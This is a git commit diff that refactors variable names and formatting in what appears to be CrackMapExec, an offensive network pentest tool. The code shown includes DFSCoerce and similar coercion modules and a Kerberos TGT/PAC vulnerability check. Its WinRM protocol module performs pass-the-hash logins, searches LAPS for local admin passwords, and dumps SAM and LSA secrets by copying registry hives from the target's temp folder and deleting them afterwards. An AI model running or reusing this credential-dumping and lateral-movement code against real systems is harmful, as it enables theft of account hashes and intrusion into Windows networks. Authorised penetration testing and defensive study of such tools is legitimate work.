update formatting, some variable names, and other Pythonic things for winrm
parent
e9b353d645
commit
160efc6980
|
@ -24,7 +24,7 @@ class CMEModule:
|
|||
|
||||
def on_login(self, context, connection):
|
||||
trigger = TriggerAuth()
|
||||
dce = trigger.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host, doKerberos=connection.kerberos, dcHost=connection.kdcHost)
|
||||
dce = trigger.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lm_hash, nthash=connection.nt_hash, target=connection.host, doKerberos=connection.kerberos, dcHost=connection.kdcHost)
|
||||
|
||||
if dce is not None:
|
||||
logging.debug("Target is vulnerable to DFSCoerce")
|
||||
|
|
|
@ -25,12 +25,12 @@ class CMEModule:
|
|||
|
||||
userName = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
tgt_with_pac, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, connection.password, connection.domain,
|
||||
unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey,
|
||||
connection.host,requestPAC=True)
|
||||
unhexlify(connection.lm_hash), unhexlify(connection.nt_hash), connection.aesKey,
|
||||
connection.host, requestPAC=True)
|
||||
context.log.highlight("TGT with PAC size " + str(len(tgt_with_pac)))
|
||||
tgt_no_pac, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, connection.password, connection.domain,
|
||||
unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey,
|
||||
connection.host,requestPAC=False)
|
||||
unhexlify(connection.lm_hash), unhexlify(connection.nt_hash), connection.aesKey,
|
||||
connection.host, requestPAC=False)
|
||||
context.log.highlight("TGT without PAC size " + str(len(tgt_no_pac)))
|
||||
if len(tgt_no_pac) < len(tgt_with_pac):
|
||||
context.log.highlight("")
|
||||
|
|
|
@ -41,7 +41,7 @@ class CMEModule:
|
|||
logging.debug("First try failed. Creating another dce connection...")
|
||||
# Sleeping mandatory for second try
|
||||
time.sleep(2)
|
||||
dce = c.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host, pipe="FssagentRpc")
|
||||
dce = c.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lm_hash, nthash=connection.nt_hash, target=connection.host, pipe="FssagentRpc")
|
||||
|
||||
if self.ipsc:
|
||||
logging.debug("ipsc = %s", self.ipsc)
|
||||
|
|
|
@ -1,34 +1,39 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import datetime
|
||||
import os
|
||||
|
||||
import requests
|
||||
import logging
|
||||
import configparser
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from cme.connection import *
|
||||
from cme.helpers.logger import highlight
|
||||
from cme.helpers.bloodhound import add_user_bh
|
||||
from cme.protocols.ldap.smbldap import LDAPConnect
|
||||
from cme.logger import CMEAdapter
|
||||
from io import StringIO
|
||||
from pypsrp.client import Client
|
||||
from impacket.examples.secretsdump import LocalOperations, LSASecrets
|
||||
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
|
||||
|
||||
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
class SuppressFilter(logging.Filter):
|
||||
# remove warning https://github.com/diyan/pywinrm/issues/269
|
||||
def filter(self, record):
|
||||
return 'wsman' not in record.getMessage()
|
||||
|
||||
class winrm(connection):
|
||||
|
||||
class winrm(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.output_filename = None
|
||||
self.endpoint = None
|
||||
self.port = None
|
||||
self.hash = None
|
||||
self.lm_hash = None
|
||||
self.nt_hash = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
|
@ -70,10 +75,12 @@ class winrm(connection):
|
|||
self.call_cmd_args()
|
||||
|
||||
def proto_logger(self):
|
||||
self.logger = CMEAdapter(extra={'protocol': 'SMB',
|
||||
'host': self.host,
|
||||
'port': 'NONE',
|
||||
'hostname': 'NONE'})
|
||||
self.logger = CMEAdapter(extra={
|
||||
'protocol': 'SMB',
|
||||
'host': self.host,
|
||||
'port': 'NONE',
|
||||
'hostname': 'NONE'
|
||||
})
|
||||
|
||||
def enum_host_info(self):
|
||||
# smb no open, specify the domain
|
||||
|
@ -111,16 +118,23 @@ class winrm(connection):
|
|||
self.output_filename = self.output_filename.replace(":", "-")
|
||||
|
||||
def laps_search(self, username, password, ntlm_hash, domain):
|
||||
ldapco = LDAPConnect(self.domain, "389", self.domain)
|
||||
connection = ldapco.plaintext_login(domain, username[0] if username else '', password[0] if password else '', ntlm_hash[0] if ntlm_hash else '' )
|
||||
if connection == False:
|
||||
logging.debug('LAPS connection failed with account {}'.format(username))
|
||||
ldap_conn = LDAPConnect(self.domain, "389", self.domain)
|
||||
login = ldap_conn.plaintext_login(
|
||||
domain,
|
||||
username[0] if username else '',
|
||||
password[0] if password else '',
|
||||
ntlm_hash[0] if ntlm_hash else ''
|
||||
)
|
||||
if not login:
|
||||
logging.debug('LAPS login failed with account {}'.format(username))
|
||||
return False
|
||||
searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name='+ self.hostname +'))'
|
||||
attributes = ['ms-MCS-AdmPwd','samAccountname']
|
||||
result = connection.search(searchFilter=searchFilter,
|
||||
attributes=attributes,
|
||||
sizeLimit=0)
|
||||
search_filter = f"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name='{self.hostname}))"
|
||||
attributes = ['ms-MCS-AdmPwd', 'samAccountname']
|
||||
result = login.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=attributes,
|
||||
sizeLimit=0
|
||||
)
|
||||
|
||||
msMCSAdmPwd = ''
|
||||
sAMAccountName = ''
|
||||
|
@ -150,19 +164,15 @@ class winrm(connection):
|
|||
self.logger.info(self.endpoint)
|
||||
else:
|
||||
self.logger.extra['protocol'] = "SMB"
|
||||
self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os,
|
||||
self.hostname,
|
||||
self.domain))
|
||||
self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os, self.hostname, self.domain))
|
||||
self.logger.extra['protocol'] = "HTTP"
|
||||
self.logger.info(self.endpoint)
|
||||
self.logger.extra['protocol'] = "WINRM"
|
||||
if self.args.laps:
|
||||
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
|
||||
return True
|
||||
|
||||
|
||||
def create_conn_obj(self):
|
||||
|
||||
endpoints = [
|
||||
'https://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5986),
|
||||
'http://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5985)
|
||||
|
@ -195,33 +205,43 @@ class winrm(connection):
|
|||
self.username = username
|
||||
self.domain = domain
|
||||
if self.args.ssl and self.args.ignore_ssl_cert:
|
||||
self.conn = Client(self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(domain, self.username),
|
||||
password=self.password,
|
||||
ssl=True,
|
||||
cert_validation=False)
|
||||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(domain, self.username),
|
||||
password=self.password,
|
||||
ssl=True,
|
||||
cert_validation=False
|
||||
)
|
||||
elif self.args.ssl:
|
||||
self.conn = Client(self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(domain, self.username),
|
||||
password=self.password,
|
||||
ssl=True)
|
||||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(domain, self.username),
|
||||
password=self.password,
|
||||
ssl=True
|
||||
)
|
||||
else:
|
||||
self.conn = Client(self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(domain, self.username),
|
||||
password=self.password,
|
||||
ssl=False)
|
||||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(domain, self.username),
|
||||
password=self.password,
|
||||
ssl=False
|
||||
)
|
||||
|
||||
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
|
||||
# we could just authenticate without running a command :) (probably)
|
||||
self.conn.execute_ps("hostname")
|
||||
self.admin_privs = True
|
||||
self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
|
||||
self.logger.success(
|
||||
u'{}\\{}:{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
)
|
||||
)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
|
@ -229,14 +249,22 @@ class winrm(connection):
|
|||
|
||||
except Exception as e:
|
||||
if "with ntlm" in str(e):
|
||||
self.logger.error(u'{}\\{}:{}'.format(self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8))
|
||||
self.logger.error(
|
||||
u'{}\\{}:{}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8
|
||||
)
|
||||
)
|
||||
else:
|
||||
self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e))
|
||||
self.logger.error(
|
||||
u'{}\\{}:{} "{}"'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
|
||||
e
|
||||
)
|
||||
)
|
||||
|
||||
return False
|
||||
|
||||
|
@ -244,51 +272,63 @@ class winrm(connection):
|
|||
try:
|
||||
from urllib3.connectionpool import log
|
||||
log.addFilter(SuppressFilter())
|
||||
lmhash = '00000000000000000000000000000000:'
|
||||
nthash = ''
|
||||
lm_hash = '00000000000000000000000000000000:'
|
||||
nt_hash = ''
|
||||
|
||||
if not self.args.laps:
|
||||
self.username = username
|
||||
#This checks to see if we didn't provide the LM Hash
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(':') != -1:
|
||||
lmhash, nthash = ntlm_hash.split(':')
|
||||
lm_hash, nt_hash = ntlm_hash.split(':')
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
ntlm_hash = lmhash + nthash
|
||||
if lmhash: self.lmhash = lmhash
|
||||
if nthash: self.nthash = nthash
|
||||
nt_hash = ntlm_hash
|
||||
ntlm_hash = lm_hash + nt_hash
|
||||
if lm_hash:
|
||||
self.lm_hash = lm_hash
|
||||
if nt_hash:
|
||||
self.nt_hash = nt_hash
|
||||
else:
|
||||
nthash = self.hash
|
||||
nt_hash = self.hash
|
||||
|
||||
self.domain = domain
|
||||
if self.args.ssl and self.args.ignore_ssl_cert:
|
||||
self.conn = Client(self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(self.domain, self.username),
|
||||
password=lmhash + nthash,
|
||||
ssl=True,
|
||||
cert_validation=False)
|
||||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(self.domain, self.username),
|
||||
password=lm_hash + nt_hash,
|
||||
ssl=True,
|
||||
cert_validation=False
|
||||
)
|
||||
elif self.args.ssl:
|
||||
self.conn = Client(self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(self.domain, self.username),
|
||||
password=lmhash + nthash,
|
||||
ssl=True)
|
||||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(self.domain, self.username),
|
||||
password=lm_hash + nt_hash,
|
||||
ssl=True
|
||||
)
|
||||
else:
|
||||
self.conn = Client(self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(self.domain, self.username),
|
||||
password=lmhash + nthash,
|
||||
ssl=False)
|
||||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(self.domain, self.username),
|
||||
password=lm_hash + nt_hash,
|
||||
ssl=False
|
||||
)
|
||||
|
||||
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
|
||||
# we could just authenticate without running a command :) (probably)
|
||||
self.conn.execute_ps("hostname")
|
||||
self.admin_privs = True
|
||||
self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
|
||||
self.username,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
|
||||
self.logger.success(
|
||||
u'{}\\{}:{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
nt_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
)
|
||||
)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
|
@ -296,15 +336,22 @@ class winrm(connection):
|
|||
|
||||
except Exception as e:
|
||||
if "with ntlm" in str(e):
|
||||
self.logger.error(u'{}\\{}:{}'.format(self.domain,
|
||||
self.username,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8))
|
||||
self.logger.error(
|
||||
u'{}\\{}:{}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
nt_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8
|
||||
)
|
||||
)
|
||||
else:
|
||||
self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
|
||||
self.username,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e))
|
||||
|
||||
self.logger.error(
|
||||
u'{}\\{}:{} "{}"'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
nt_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e
|
||||
)
|
||||
)
|
||||
return False
|
||||
|
||||
def execute(self, payload=None, get_output=False):
|
||||
|
@ -329,9 +376,14 @@ class winrm(connection):
|
|||
|
||||
self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM")
|
||||
|
||||
localOperations = LocalOperations(self.output_filename + ".system")
|
||||
bootKey = localOperations.getBootKey()
|
||||
SAM = SAMHashes(self.output_filename + ".sam", bootKey, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret))
|
||||
local_operations = LocalOperations(self.output_filename + ".system")
|
||||
boot_key = local_operations.getBootKey()
|
||||
SAM = SAMHashes(
|
||||
self.output_filename + ".sam",
|
||||
boot_key,
|
||||
isRemote=None,
|
||||
perSecretCallback=lambda secret: self.logger.highlight(secret)
|
||||
)
|
||||
SAM.dump()
|
||||
SAM.export(self.output_filename + ".sam")
|
||||
|
||||
|
@ -341,8 +393,14 @@ class winrm(connection):
|
|||
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
|
||||
self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY")
|
||||
|
||||
localOperations = LocalOperations(self.output_filename + ".system")
|
||||
bootKey = localOperations.getBootKey()
|
||||
LSA = LSASecrets(self.output_filename + ".security", bootKey, None, isRemote=None, perSecretCallback=lambda secretType, secret: self.logger.highlight(secret))
|
||||
local_operations = LocalOperations(self.output_filename + ".system")
|
||||
boot_key = local_operations.getBootKey()
|
||||
LSA = LSASecrets(
|
||||
self.output_filename + ".security",
|
||||
boot_key,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret)
|
||||
)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
|
|
Loading…
Reference in New Issue